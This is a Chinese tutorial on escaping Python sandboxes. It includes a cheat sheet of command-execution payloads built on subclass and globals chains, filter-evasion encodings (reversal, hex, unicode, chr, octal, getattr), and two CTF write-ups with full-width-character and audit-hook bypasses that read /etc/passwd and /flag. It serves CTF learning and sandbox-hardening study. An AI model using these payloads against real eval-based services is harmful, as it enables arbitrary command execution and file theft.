python沙箱逃逸
Python 沙箱逃逸
python的模块
在python的内建函数中有一些可以进行命令执行,如:
os.system() os.popen()
commands.getstatusoutput() commands.getoutput()
commands.getstatus()
subprocess.call(command, shell=True) subprocess.Popen(command, shell=True)
pty.spawn()
常用魔术方法:
__class__查看当前类
__base__查看当前类的父类
__mro__查看当前类的所有基类 元组
__subclasses__()查看当前类下的所有子类 也是个元组
__init__查看类是否重载(指在程序运行中这个模块就已经加载到内存当中了
如果出现wrapper就说明没有重载)
__globals__ 以字典的形式返回当前对象所有全局变量
__builtins__ 提供对python的所有内置标识符的直接访问
导入模块的三种方法:
import xxx
from xxx import *
__import__('xxx')
可以通过导入模块的方式,使用可以模块下可以执行命令的函数进行命令执行。
通过函数导入模块eval和exec
eval('__import__("os").system("dir")')
exec('__import__("os").system("dir")')
timeit模块命令执行
import timeit
timeit.timeit("__import__('os').system('dir')",number=1)
python的内建函数
当不能导入模块时,可以使用python本身的内置函数,可以使用
dir(__builtins__) 来获取内置函数
在python中,不引入直接使用的内置函数被称为builtin函数,随着 builtin 这个模块自动引入到环境中。那么我们如何引入的模块呢?我们可以通过 dict 引入我们想要引入的模块。dict 的作用是列出一个模组/类/对象 下面 所有的属性和函数。这在沙盒逃逸中是很有用的,可以找到隐藏在其中的一些东西 dict能做什么呢? 我们知道,一个模块对象有一个由字典对象实现的命名空间,属性的引用会被转换为这个字典中的查找,例如,m.x 等同于 m.dict["x"]。
下面是解释的演示:
先把内置函数使用字典都列出来
然后复制到nodepad++中使用换行替换逗号,可以发现每个都是字典形式
我们通过__builtins__.__dict__['__import__'] 来访问__import__模块
然后导入os模块
常用payload:
1.利用os模块的popen函数和system函数
print(''.__class__.__base__.__subclasses__()[154].__init__.__globals__['popen']('cat /etc/passwd').read())
print(''.__class__.__base__.__subclasses__()[154].__init__.__globals__['system']('cat /etc/passwd'))
解释:
''.__class__ 查看当前所属的类
''.__class__.__base__ 查看类的父类
''.__class__.__base__.__subclasses__() 查看当前类下所有的子类
查找可命令执行的模块
''.__class__.__base__.__subclasses__()[154]
发现os模块没有重载,也就是没有加入到内存中,无法使用,要先进行重载
''.__class__.__base__.__subclasses__()[154].__init__
然后查看当前对象的所有全局变量
''.__class__.__base__.__subclasses__()[154].__init__.__globals__
查找可用于执行的函数如system,popen
最后进行命令执行
print(''.__class__.__base__.__subclasses__()[154].__init__.__globals__['system']('cat /etc/passwd'))
或者
print(''.__class__.__base__.__subclasses__()[154].__init__.__globals__['popen']('cat /etc/passwd').read())
2.利用subprocess
''.__class__.__base__.__subclasses__()[253](['cat','/etc/passwd'])
绕过过滤
绕过特殊字符串过滤
如绕过os过滤,可以用字符串的变化来引入os
__import__('so'[::-1]).system('whoami')
或者
b = 'o'
a = 's'
__import__(a+b).system('whoami')
利用eval或者exec,结合字符串倒序
eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
exec(')"imaohw"(metsys.so ;so tropmi'[::-1])
字符串的处理方式逆序、拼接、base64、hex、rot3、unicode、oct等
['__builtins__']
['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']
[u'\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']
['X19idWlsdGluc19f'.decode('base64')]
['__buil'+'tins__']
['__buil''tins__']
['__buil'.__add__('tins__')]
["_builtins_".join("__")]
['%c%c%c%c%c%c%c%c%c%c%c%c' % (95, 95, 98, 117, 105, 108, 116, 105, 110, 115, 95, 95)]
......
通过sys.modules导入os模块
sys.modules是一个字典,它里面储存了加载过的模板信息。当python刚启动时,所列出的模板就是解释器在启动的时候自动加载的模板。像os模块就是默认加载进来的,所以sys.modules就会储存os模板的信息。当我们不能直接引用os模块的时候我们就可以像这样sys.modules["os"]曲线救国
执行函数过滤bypass
单单引入os模块是不行的,我们还要考虑os里面的system被ban了,我们也不能通过os.system来执行命令,更狠的就是删除了system这个函数,我们可以寻找其他进行命令执行的函数
如popen
print(__import__('os').popen('whoami').read())
print(__import__('os').popen2('whoami').read()) # py2
print(__import__('os').popen3('whoami').read()) # py3
.。。。。。
可以通过 getattr 拿到对象的方法、属性:
import os
getattr(os, 'metsys'[::-1])('whoami')
不出现import
getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')
与 getattr 相似的还有 __getattr__、__getattribute__,它们自己的区别就是getattr相当于class.attr,都是获取类属性/方法的一种方式,在获取的时候会触发__getattribute__,如果__getattribute__找不到,则触发__getattr__,还找不到则报错。
字符的过滤
1、getitem绕过[]
getitem()是python的一个魔术方法
对字典使用时,传入字符串,返回字典相应键所对应的值
对列表使用时,传入整数返回列表对应索引的值
当中括号被过滤时,可以使用__getitem__()代替[],实现绕过
2、引号
1、chr ()
2、str和[]结合
().__class__.__new__
#<built-in method __new__ of type object at 0x00007FF8E39F0AF0>
str() 函数将对象转化为适于人阅读的形式
str(().__class__.__new__)[21]
#w
os.system(
str(().__class__.__new__)[21]+str(().__class__.__new__)[13]+str(().__class__.__new__)[14]+str(().__class__.__new__)[40]+str(().__class__.__new__)[10]+str(().__class__.__new__)[3]
)
#os.system(whoami)
3,dict() 拿键
list(dict(whoami=1))[0]
str(dict(whoami=1))[2:8]
'whoami'
3、空格
通过 ()、[] 替换
4、运算符
== 可以用 in 来替换
or 可以用| + -。。。-来替换
and 可以用& *替代
5、()
利用装饰器 @
利用魔术方法,例如 enum.EnumMeta.__getitem__,
例题:强网杯2024[PyBlockly]
题目给了网站附件
from flask import Flask, request, jsonify
import re
import unidecode
import string
import ast
import sys
import os
import subprocess
import importlib.util
import json
app = Flask(__name__)
app.config['JSON_AS_ASCII'] = False
blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"
def module_exists(module_name):
spec = importlib.util.find_spec(module_name)
if spec is None:
return False
if module_name in sys.builtin_module_names:
return True
if spec.origin:
std_lib_path = os.path.dirname(os.__file__)
if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
return True
return False
def verify_secure(m):
for node in ast.walk(m):
match type(node):
case ast.Import:
print("ERROR: Banned module ")
return False
case ast.ImportFrom:
print(f"ERROR: Banned module {node.module}")
return False
return True
def check_for_blacklisted_symbols(input_text):
if re.search(blacklist_pattern, input_text):
return True
else:
return False
def block_to_python(block):
block_type = block['type']
code = ''
if block_type == 'print':
text_block = block['inputs']['TEXT']['block']
text = block_to_python(text_block)
code = f"print({text})"
elif block_type == 'math_number':
if str(block['fields']['NUM']).isdigit():
code = int(block['fields']['NUM'])
else:
code = ''
elif block_type == 'text':
if check_for_blacklisted_symbols(block['fields']['TEXT']):
code = ''
else:
code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
elif block_type == 'max':
a_block = block['inputs']['A']['block']
b_block = block['inputs']['B']['block']
a = block_to_python(a_block)
b = block_to_python(b_block)
code = f"max({a}, {b})"
elif block_type == 'min':
a_block = block['inputs']['A']['block']
b_block = block['inputs']['B']['block']
a = block_to_python(a_block)
b = block_to_python(b_block)
code = f"min({a}, {b})"
if 'next' in block:
block = block['next']['block']
code +="\n" + block_to_python(block)+ "\n"
else:
return code
return code
def json_to_python(blockly_data):
block = blockly_data['blocks']['blocks'][0]
python_code = ""
python_code += block_to_python(block) + "\n"
return python_code
def do(source_code):
hook_code = '''
def my_audit_hook(event_name, arg):
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) > 4:
raise RuntimeError("Too Long!")
for bad in blacklist:
if bad in event_name:
raise RuntimeError("No!")
__import__('sys').addaudithook(my_audit_hook)
'''
print(source_code)
code = hook_code + source_code
tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
try:
if verify_secure(tree):
with open("run.py", 'w') as f:
f.write(code)
result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
# os.remove('run.py')
return result
else:
return "Execution aborted due to security concerns."
except:
# os.remove('run.py')
return "Timeout!"
@app.route('/')
def index():
return app.send_static_file('index.html')
@app.route('/blockly_json', methods=['POST'])
def blockly_json():
blockly_data = request.get_data()
print(type(blockly_data))
blockly_data = json.loads(blockly_data.decode('utf-8'))
print(blockly_data)
try:
python_code = json_to_python(blockly_data)
return do(python_code)
except Exception as e:
return jsonify({"error": "Error generating Python code", "details": str(e)})
if __name__ == '__main__':
app.run(host = '0.0.0.0')
分析源码发现该网站是通过POST传参传入json数据到后端,然后再把json数据转换为python格式进行执行的
重点代码:
def do(source_code):
hook_code = '''
def my_audit_hook(event_name, arg):
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) > 4:
raise RuntimeError("Too Long!")
for bad in blacklist:
if bad in event_name:
raise RuntimeError("No!")
__import__('sys').addaudithook(my_audit_hook)
'''
print(source_code)
code = hook_code + source_code
tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
try:
if verify_secure(tree):
with open("run.py", 'w') as f:
f.write(code)
result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
# os.remove('run.py')
return result
else:
return "Execution aborted due to security concerns."
except:
# os.remove('run.py')
return "Timeout!"
这是代码执行函数,要执行用户传入的数据首先要绕过黑名单,然后通过代码审计钩子再次过滤用户输入,最后把用户输入写入到run.py文件中,最后通过subprocess.run来运行用户输入
首先看过滤用的黑名单
blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"
基本把符号给过滤完了
然后看到block_to_python函数中存在unidecode.unidecode编码方式,这是把字符转换为半角字符用的,而英文字符就是半角字符,中文字符是全角字符,所以可以使用全角字符绕过黑名单的过滤
def block_to_python(block):
block_type = block['type']
code = ''
if block_type == 'print':
text_block = block['inputs']['TEXT']['block']
text = block_to_python(text_block)
code = f"print({text})"
elif block_type == 'math_number':
if str(block['fields']['NUM']).isdigit():
code = int(block['fields']['NUM'])
else:
code = ''
elif block_type == 'text':
if check_for_blacklisted_symbols(block['fields']['TEXT']):
code = ''
else:
code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
elif block_type == 'max':
a_block = block['inputs']['A']['block']
b_block = block['inputs']['B']['block']
a = block_to_python(a_block)
b = block_to_python(b_block)
code = f"max({a}, {b})"
elif block_type == 'min':
a_block = block['inputs']['A']['block']
b_block = block['inputs']['B']['block']
a = block_to_python(a_block)
b = block_to_python(b_block)
code = f"min({a}, {b})"
if 'next' in block:
block = block['next']['block']
code +="\n" + block_to_python(block)+ "\n"
else:
return code
return code
这里第一个过滤绕过去了,而代码审计钩子还有过滤,如果传入审计钩子的event_name长度大于4,则不能执行,如果传入的event_name包含有blacklist中的也不能执行
def my_audit_hook(event_name, arg):
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) > 4:
raise RuntimeError("Too Long!")
for bad in blacklist:
if bad in event_name:
raise RuntimeError("No!")
__import__('sys').addaudithook(my_audit_hook)
所以这里可以使用python的lambda关键字来覆盖内置函数len(),使其返回长度等于1
所以可以构造payload:
';len=lambda x:1;__builtins__.__import__("os").system("whoami");'
这里需要用脚本把这个payload转换为全角字符
def to_fullwidth(text):
fullwidth_text = ''
for char in text:
if 33 <= ord(char) <= 126: # 半角字符的 ASCII 码范围
fullwidth_char = chr(ord(char) + 0xFEE0)
else:
fullwidth_char = char
fullwidth_text += fullwidth_char
return fullwidth_text
# 示例用法
halfwidth_text = input("请输入半角字符:")
fullwidth_text = to_fullwidth(halfwidth_text)
print(fullwidth_text)
真正的payload为:
';len=lambda x:1;__builtins__.__import__("os").system("whoami");'
例题:newstartctf[臭皮的计算机]
from flask import Flask, render_template, request
import uuid
import subprocess
import os
import tempfile
app = Flask(__name__)
app.secret_key = str(uuid.uuid4())
def waf(s):
token = True
for i in s:
if i in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ":
token = False
break
return token
@app.route("/")
def index():
return render_template("index.html")
@app.route("/calc", methods=['POST', 'GET'])
def calc():
if request.method == 'POST':
num = request.form.get("num")
script = f'''import os
print(eval("{num}"))
'''
print(script)
if waf(num):
try:
result_output = ''
with tempfile.NamedTemporaryFile(mode='w+', suffix='.py', delete=False) as temp_script:
temp_script.write(script)
temp_script_path = temp_script.name
print(temp_script_path)
result = subprocess.run(['python', temp_script_path], capture_output=True, text=True)
print(result)
# os.remove(temp_script_path)
result_output = result.stdout if result.returncode == 0 else result.stderr
except Exception as e:
print(e)
result_output = str(e)
print(result_output)
return render_template("calc.html", result=result_output)
else:
return render_template("calc.html", result="臭皮!你想干什么!!")
return render_template("calc.html", result='试试呗')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=30002)
这题整体思路是通过POST传参传入参数写入到eval中准备执行传入的参数,然后再通过waf过滤字母,再把import os print(eval("{num}"))传入到临时文件中,最后执行临时文件,并将结果返回到页面上
绕过过滤
def waf(s):
token = True
for i in s:
if i in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ":
token = False
break
return token
由于waf过滤了全部字母,所以想到全角字符绕过,可是python的内部模块和命令无法使用全角字符执行,所以把模块和命令使用chr绕过或者八进制绕过
于是payload为
__import__(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))
或者
__import__('\157\163').system('\143\141\164\40\57\146\154\141\147')
其中 111 115 分别对应 os 的 ASCII 码,99 97 116 32 47 102 108 97 103 分别对应 cat /flag 的 ASCII 码
注意:+在通过burp发包时需要进行url编码否则会被视为空格
参考文献:
https://xz.aliyun.com/t/12303?time__1311=GqGxRDyD2DuDnBDlr%2B3eTxRh2Kq52DG%3Da4D#toc-2
https://ciphersaw.me/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/


































浙公网安备 33010602011771号